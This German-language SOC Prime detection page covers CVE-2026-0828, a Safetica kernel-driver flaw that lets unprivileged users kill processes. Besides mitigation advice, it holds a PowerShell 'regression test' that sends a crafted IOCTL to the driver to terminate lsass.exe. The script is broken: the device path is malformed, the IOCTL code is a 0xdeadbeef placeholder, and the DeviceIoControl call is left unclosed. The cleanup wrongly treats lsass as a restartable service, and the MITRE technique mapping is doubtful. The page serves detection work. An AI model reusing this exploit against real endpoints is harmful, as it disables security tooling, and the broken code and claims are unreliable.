SOC Prime Bias: Kritisch

26 Jan. 2026 21:54

Safetica enthält eine Kernel-Treiber-Schwachstelle

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Safetica enthält eine Kernel-Treiber-Schwachstelle
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ein Fehler im Kernel-Treiber Safetica’s ProcessMonitorDriver.sys ermöglicht es einem unprivilegierten Benutzer, eine IOCTL-Schnittstelle zu missbrauchen, um beliebige Systemprozesse zu beenden. Dies kann zu Denial-of-Service und zur Störung von Sicherheitswerkzeugen auf betroffenen Endpunkten führen. Das Problem kann ausgenutzt werden, um EDR-Agenten und andere kritische Dienste abzuschalten, wodurch die Abwehr schnell reduziert wird. Derzeit ist kein Patch vom Hersteller verfügbar.

Untersuchung

Der Bericht dokumentiert CVE-2026-0828 im ProcessMonitorDriver.sys über verschiedene Versionen des Safetica DLP-Clients. Er zeigt, dass schwache Eingabevalidierung die Beendigung von Prozessen mit erhöhten Treiberrechten über manipulierte IOCTL-Aufrufe ermöglicht. Die Auswirkungen auf die Sicherheitsüberwachung von Endpunkten werden hervorgehoben.

Minderung

Überwachen Sie verdächtige IOCTL-Aufrufe an den Treiber, verlassen Sie sich auf EDR oder Host-Telemetrie und beschränken Sie den Treiberzugriff mit Windows-Gruppenrichtlinie, WDAC oder AppLocker. Bis ein Fix verfügbar ist, verhindern Sie das Interagieren von nicht vertrauenswürdigen Binärdateien mit ProcessMonitorDriver.sys.

Antwort

Erkennen Sie anormale IOCTL-Aktivitäten, die sich gegen ProcessMonitorDriver.sys richten, isolieren Sie betroffene Systeme und wenden Sie Richtlinienkontrollen an, um den Treiberzugriff zu verweigern. Erhöhen Sie die Protokollierung, alarmieren Sie bei unprivilegierten Interaktionen und erwägen Sie, den Treiber als temporäre Lösung zu deaktivieren.

Angriffsablauf

Wir aktualisieren diesen Teil noch. Registrieren Sie sich, um benachrichtigt zu werden

Benachrichtigen Sie mich

Simulationsexecution

Voraussetzung: Der Telemetrie- & Grundlinien-Pre‑Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Der Red-Team-Operator beabsichtigt, die verwundbare ProcessMonitorDriver.sys -Treiber zu missbrauchen, um einen beliebigen hochprivilegierten Prozess zu beenden (lsass.exe). Sie erreichen dies, indem sie eine bösartige IOCTL-Nutzlast erstellen, die den Treiber anweist, das Handle der Ziel-PID zu schließen, wodurch der Ausführungsfluss gekapert (T1574) und typische Abwehrmechanismen (T1211) umgangen werden. Die Schritte sind:

    1. Ermitteln Sie die PID von lsass.exe.
    2. Öffnen Sie ein Handle zum verwundbaren Treiber (.ProcessMonitorDriver).
    3. Erstellen Sie einen IOCTL-Puffer mit der Ziel-PID und einem Steuerbefehl, der die Prozessbeendigung auslöst.
    4. Führen Sie DeviceIoControl mit einem bösartigen Steuerungscode aus (0xdeadbeef).
    5. Schließen Sie das Treiberhandle.
  • Regressionstestskript:

    # Exploit-Simulation für ProcessMonitorDriver.sys (CVE‑2026‑0828)
    # -------------------------------------------------------------
    # Dieses Skript sendet ein bösartiges IOCTL an den verwundbaren Treiber, um
    # den LSASS-Prozess zu beenden, wodurch das Sysmon-EventID 10
    # erzeugt wird, das die Erkennungsregel überwacht.
    
    # 1. Lokalisieren Sie die LSASS-PID
    $targetProcess = Get-Process -Name lsass -ErrorAction Stop
    $targetPid = $targetProcess.Id
    Write-Host "Ziel PID (lsass): $targetPid"
    
    # 2. Öffnen Sie ein Handle zum Treiber
    $driverPath = ".ProcessMonitorDriver"
    $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None')
    $handle = $file.SafeFileHandle
    
    # 3. Erstellen Sie den bösartigen IOCTL-Puffer (PID + Dummy-Daten)
    $bufferSize = 8
    $buffer = New-Object byte[] $bufferSize
    [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0)
    [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4) # Füllung
    
    # 4. Definieren Sie den bösartigen IOCTL-Code (Beispiel: 0xdeadbeef)
    $ioctlCode = 0xdeadbeef
    
    # 5. Führen Sie DeviceIoControl über P/Invoke aus
    $signature = @"
    using System;
    using System.Runtime.InteropServices;
    public class NativeMethods {
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            uint dwIoControlCode,
            byte[] lpInBuffer,
            int nInBufferSize,
            byte[] lpOutBuffer,
            int nOutBufferSize,
            out int lpBytesReturned,
            IntPtr lpOverlapped);
    }
    "@
    Add-Type $signature
    
    $bytesReturned = 0
    $outBuffer = New-Object byte[] 0
    $result = [NativeMethods]::DeviceIoControl(
                  $handle,
                  $ioctlCode,
                  $buffer,
                  $buffer.Length,
                  $outBuffer,
                  0,
                  [ref]$bytesReturned,
    
    if ($result) {
        Write-Host "IOCTL erfolgreich gesendet – LSASS-Beendigung kann erfolgt sein."
    } else {
        $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
        Write-Error "DeviceIoControl fehlgeschlagen (Fehler $err)."
    }
    
    # 6. Bereinigung
    $file.Close()
  • Bereinigungskommandos:

    # Entfernen Sie eventuell verbleibende Treiberhandles (Best-Effort)
    # Stellen Sie sicher, dass LSASS neu gestartet wird, wenn es beendet wurde (für ein sicheres Labor)
    if (Get-Process -Name lsass -ErrorAction SilentlyContinue) {
        Write-Host "LSASS läuft noch – keine Bereinigung notwendig."
    } else {
        Write-Host "LSASS wird neu gestartet (erfordert Administratorrechte)…"
        # Auf einem Testgerät können Sie einen Neustart oder ein Dienst-Neustart-Cmdlet verwenden
        # Restart-Service -Name "lsass" -Force
    }